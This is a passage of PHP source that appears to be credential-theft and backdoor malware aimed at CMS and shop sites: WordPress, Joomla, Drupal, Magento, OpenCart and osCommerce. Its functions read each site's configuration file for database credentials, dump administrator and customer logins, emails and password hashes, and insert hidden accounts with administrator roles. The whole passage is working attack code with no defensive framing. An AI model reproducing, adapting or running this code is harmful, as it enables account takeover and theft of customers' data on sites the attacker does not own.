$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(stristr($cont,"'host' =>"))
{
preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
if(is_array($matchdbs))
{
foreach($matchdbs[0] as $matchdb )
{
if(stristr($matchdb,"password"))
{
preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"database"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
break;
}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri= unserialize(trim($row[0]));
}
$ErrorMsg = "";
$result2 = mysql_query ("SELECT name,mail,pass FROM ".$tbl_preffix."users", $con_mss) or $ErrorMsg = mysql_error();
if ($ErrorMsg)
{
$ErrorMsg = "";
$result2 = mysql_query ("SELECT name,mail,pass FROM ".$tbl_preffix."users_field_data", $con_mss) or $ErrorMsg = mysql_error();
}
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[2])){
$usrArray[] = $row[0].":".$row[1].":".$row[2];
}
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
function getOSCUser($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$ErrorMsg = "";
$result2 = mysql_query ("SELECT user_name,user_password FROM administrators", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[1])){
$usrArray[] = $row[0].":".$row[1];
}
}
$result2 = mysql_query ("SELECT customers_email_address,customers_password FROM customers", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[1])){
$usrArray[] = "customer".$row[0].":".$row[1];
}
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
}
}
}
function setOSCUser($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_SERVER"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT user_name,user_password FROM administrators where user_name='$u_name' or user_password='$pass' ", $con_mss);
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[0]==$u_name&&$row[1]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[1]==$pass)
{
$otheruser = $row;
} else if($row[0]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO administrators (user_name,user_password) VALUES('$u_name','$pass') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO administrators (user_name,user_password) VALUES('$u_name','$pass') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
function getOPUser($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PREFIX"))
{$db_preffix=$matches[4][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$ErrorMsg = "";
$result2 = mysql_query ("SELECT username,password,salt FROM ".$db_preffix."user", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[1])){
$usrArray[] = $row[0].":".$row[1].":".$row[2];
}
}
$result2 = mysql_query ("SELECT email,password,salt FROM ".$db_preffix."customer", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[1])){
$usrArray[] = "customer:".$row[0].":".$row[1].":".$row[2];
}
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
}
}
}
function setOPCUser($cont,$u_name,$pass,$salt)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_DATABASE"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_USERNAME"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PASSWORD"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"HTTP_SERVER"))
{$uri=$matches[4][$i];}
elseif(stristr($matches[2][$i],"DB_PREFIX"))
{$db_preffix=$matches[4][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT username,password,salt FROM ".$db_preffix."user where username='$u_name' or password='$pass' ", $con_mss);
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[0]==$u_name&&$row[1]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[1]==$pass)
{
$otheruser = $row;
} else if($row[0]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
$ErrorMsg = "";
$dateAdd =date_create()->format('Y-m-d H:i:s') ;
$insusrquery = mysql_query ("INSERT INTO ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1',$dateAdd) ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1',$dateAdd) ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
function setWPUserI($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_NAME"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_user"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_host"))
{$db_host=$matches[4][$i];}
}
if(!empty($db_name))
{
preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
if(is_array($mpreffix)&&count($mpreffix)==3)
{$tbl_preffix=$mpreffix[2];}
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl'");
$uri = "";
if($result)
{
$row = $result->fetch_assoc();
$uri = $row["option_value"];
$result->close();
}
$result=$mysqli->query("SELECT ID,user_login,user_pass FROM ".$tbl_preffix."users where user_login='$u_name' or user_pass='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["user_pass"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["user_login"],"pass"=>$pass) ;
} else if($row["user_login"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
$result->close();
}
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name@gmail.com','$u_name') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name@gmail.com','$u_name') ");
}
}
if($insusrquery)
{
$result=$mysqli->query("SELECT ID FROM ".$tbl_preffix."users where user_login='$u_name' AND user_pass='$pass' ");
if($result)
{
$row = $result->fetch_assoc();
$usrdID=$row["ID"];
if($usrdID>0)
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."usermeta (user_id,meta_key,meta_value) VALUES($usrdID,'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}') ");
if($insusrquery)
{
$mysqli->close();
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
}
function setJMUserI($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"\$db "))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$user "))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$host"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$dbprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$sitename"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT id,username,password FROM ".$tbl_preffix."users where username='$u_name' or password='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["password"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass) ;
} else if($row["username"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
$result->close();
}
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ");
}
}
if($insusrquery)
{
$result=$mysqli->query("SELECT id FROM ".$tbl_preffix."users where username='$u_name' AND password='$pass' ");
if($result)
{
$row = $result->fetch_assoc();
$usrdID=$row["id"];
if($usrdID>0)
{
$adminID=7;
$result=$mysqli->query("SELECT id FROM ".$tbl_preffix."usergroups where title LIKE '%administrator%' ");
if($result)
{
$row = $result->fetch_assoc();
$adminID=$row["id"];
}
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user_usergroup_map (user_id,group_id) VALUES($usrdID,$adminID) ");
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
}
function setMGUserI($cont,$u_name,$pass,$ismg2)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(!$ismg2&&stristr($cont,"<?xml version"))
{
$dbdata = new SimpleXMLElement($cont);
$db_name = $dbdata->global->resources->default_setup->connection->dbname;
$db_user = $dbdata->global->resources->default_setup->connection->username;
$db_pass = $dbdata->global->resources->default_setup->connection->password;
$db_host= $dbdata->global->resources->default_setup->connection->host;
$tbl_preffix=$dbdata->global->resources->db->table_prefix;
} elseif($ismg2&&stristr($cont,"'host' =>"))
{
//'host' => 'localhost',
preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"dbname"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"table_prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$uri="";
$result=$mysqli->query("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ");
if($result)
{
$row = $result->fetch_assoc();
$uri = $row["value"];
}
$result=$mysqli->query("SELECT user_id,username,password FROM ".$tbl_preffix."admin_user where username='$u_name'or password='$pass' ");
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["password"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass) ;
} else if($row["username"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
$result->close();
}
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','$u_name@gmail.com','$u_name','$pass',0,1,'N;') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','$u_name@gmail.com','$u_name','$pass',0,1,'N;') ");
}
}
if($insusrquery)
{
if(!$ismg2){
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."admin_role (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),'$u_name')") ;
} else
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."authorization_role (parent_id,tree_level,sort_order,role_type,user_id,user_type,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),2,'$u_name')");
}
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
function setDPUserI($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(stristr($cont,"'host' =>"))
{
preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
if(is_array($matchdbs))
{
foreach($matchdbs[0] as $matchdb )
{
if(stristr($matchdb,"password"))
{
preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"database"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
break;
}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result=$mysqli->query("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ");
$uri = "";
if($result)
{
$row = $result->fetch_assoc();
$uri = $row["value"];
$result->close();
}
$ErrorMsg = "";
$isD8 = false;
$result=$mysqli->query("SELECT uid,name,pass FROM ".$tbl_preffix."users where name='$u_name' or pass='$pass' ");
$ErrorMsg = $mysqli->error;
if ($ErrorMsg)
{
$isD8 = true;
$ErrorMsg = "";
$result=$mysqli->query("SELECT uid,name,pass FROM ".$tbl_preffix."users_field_data where name='$u_name' or pass='$pass' ");
}
if($result->num_rows > 0)
{
$isExistUsr = false;
while($row = $result->fetch_assoc())
{
if($row["pass"]==$pass)
{
$result->close();
$mysqli->close();
return Array("url"=>trim($uri),"user"=>$row["name"],"pass"=>$pass) ;
} else if($row["name"]==$u_name)
{
$isExistUsr = true;
}
}
if($isExistUsr)
{
$u_name = generate_password(6);
}
$result->close();
}
if($isD8)
{
$result=$mysqli->query("SELECT MAX(uid) as uid FROM ".$tbl_preffix."users_field_data");
} else
{
$result= $mysqli->query("SELECT MAX(uid) as uid FROM ".$tbl_preffix."users");
}
$prevuid=256;
if($result)
{
$row = $result->fetch_assoc();
$prevuid = $row["uid"]+1;
}
if ($isD8)
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ");
}
}
if($insusrquery)
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user__roles (bundle,entity_id,revision_id,langcode,delta,roles_target_id) VALUES ('user',$prevuid,1,'en',0,'administrator') ");
$uuidd = sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (uid,uuid,langcode) VALUES ($prevuid,'".$uuidd."','en') ");
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
else
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (uid,name,pass,status,init,data) VALUES ($prevuid,'$u_name','$pass',1,'1','b:0;') ");
if(!$insusrquery)
{
$err = $mysqli->error;
if(stristr($err,"duplicate"))
{
$u_name = generate_password(6);
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (name,pass,init,data) VALUES ('$u_name','$pass','1','b:0;') ");
}
}
if($insusrquery)
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."role (name,weight) VALUES ('$u_name',2) ") ;
if($insusrquery)
{
$result = $mysqli->query("SELECT rid FROM ".$tbl_preffix."role where name='$u_name' ");
if($result)
{
$row = $result->fetch_assoc();
$rid= $row["rid"];
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."role_permission (rid,permission,module) VALUES ($rid,'access administration pages','system'),($rid,'access site in maintenance mode','system'),($rid,'access user profiles','user'),($rid,'administer actions','system'),($rid,'administer blocks','block'),($rid,'administer modules','system'),($rid,'administer permissions','user'),($rid,'administer site configuration','system'),($rid,'administer themes','system'),($rid,'administer users','user')");
if($insusrquery)
{
$insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users_roles (uid,rid) VALUES ((SELECT uid FROM ".$tbl_preffix."users WHERE name = '$u_name'),$rid) ");
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
} }
}
}
function getWPUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_NAME"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_user"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_host"))
{$db_host=$matches[4][$i];}
}
if(!empty($db_name))
{
preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
if(is_array($mpreffix)&&count($mpreffix)==3)
{$tbl_preffix=$mpreffix[2];}
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result = $mysqli->query("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl' ");
$uri = "";
if($result)
{
$row = $result->fetch_assoc();
$uri = $row["option_value"];
$result->close();
}
$result2 = $mysqli->query("SELECT user_login,user_email,user_pass FROM ".$tbl_preffix."users");
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["user_login"].":".$row["user_email"].":".$row["user_pass"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
function getJMUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"\$db "))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$user "))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$host"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$dbprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$sitename"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$ErrorMsg = "";
$result2 = $mysqli->query("SELECT username,email,password FROM ".$tbl_preffix."users") ;
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["username"].":".$row["email"].":".$row["password"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
function getMGUserI($cont,$ismg2)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(!$ismg2&&stristr($cont,"<?xml version"))
{
$dbdata = new SimpleXMLElement($cont);
$db_name = $dbdata->global->resources->default_setup->connection->dbname;
$db_user = $dbdata->global->resources->default_setup->connection->username;
$db_pass = $dbdata->global->resources->default_setup->connection->password;
$db_host= $dbdata->global->resources->default_setup->connection->host;
$tbl_preffix=$dbdata->global->resources->db->table_prefix;
} elseif($ismg2&&stristr($cont,"'host' =>"))
{
//'host' => 'localhost',
preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"dbname"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"table_prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result = $mysqli->query("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ");
$uri = "";
if($result)
{
$row = $result->fetch_assoc();
$uri = $row["value"];
$result->close();
}
$result2 = mysql_query ("SELECT username,email,password FROM ".$tbl_preffix."admin_user");
if($result2)
{
while ($row = $result2->fetch_assoc())
{
$usrArray[] = $row["user_login"].":".$row["user_email"].":".$row["user_pass"];
}
$mysqli->close();
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
function getDPUserI($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(stristr($cont,"'host' =>"))
{
preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
if(is_array($matchdbs))
{
foreach($matchdbs[0] as $matchdb )
{
if(stristr($matchdb,"password"))
{
preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"database"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
break;
}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
$mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
if (!mysqli_connect_errno())
{
$result = $mysqli->query("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ");
$uri = "";
if($result)
{
$row = $result->fetch_assoc();
$uri = unserialize($row["value"]);
$result->close();
}
